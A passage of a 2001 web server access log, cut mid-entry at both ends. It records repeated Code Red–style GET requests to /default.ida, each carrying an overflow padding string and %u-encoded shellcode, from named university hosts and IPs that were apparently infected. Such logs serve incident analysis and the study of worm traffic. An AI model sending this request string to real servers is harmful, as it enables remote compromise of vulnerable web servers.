/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 08:52:20: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 09:15:30: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 09:21:13: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 09:38:49: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 10:02:05: [128.134.248.52] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 10:04:56: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 11:08:32: [210.221.106.38] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 11:21:57: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 11:44:58: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 12:43:47: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 12:55:10: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 13:24:49: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 13:50:46: [128.134.248.52] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 14:39:42: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 15:31:23: dialup-ccts5-58.cc.columbia.edu [128.59.6.67] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 15:42:24: dyn-lern-24-86.dyn.columbia.edu [128.59.24.86] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 16:04:50: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 16:25:26: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 16:30:53: tletl.ics.uci.edu [128.200.38.187] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 16:34:56: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 17:20:20: john-209.res.umass.edu [128.119.77.209] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 17:37:11: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 17:47:01: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 18:06:48: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 18:33:43: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 19:38:43: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 20:23:00: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 20:35:26: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 20:46:41: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 21:48:48: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 21:50:23: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 21:51:38: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 22:04:10: [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 22:54:32: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 22:55:00: [128.252.77.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 23:06:01: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 23:20:54: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010903 23:29:30: dialup-ccts5-1.cc.columbia.edu [128.59.6.10] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 00:01:00: pier-175.res.umass.edu [128.119.22.175] "GET 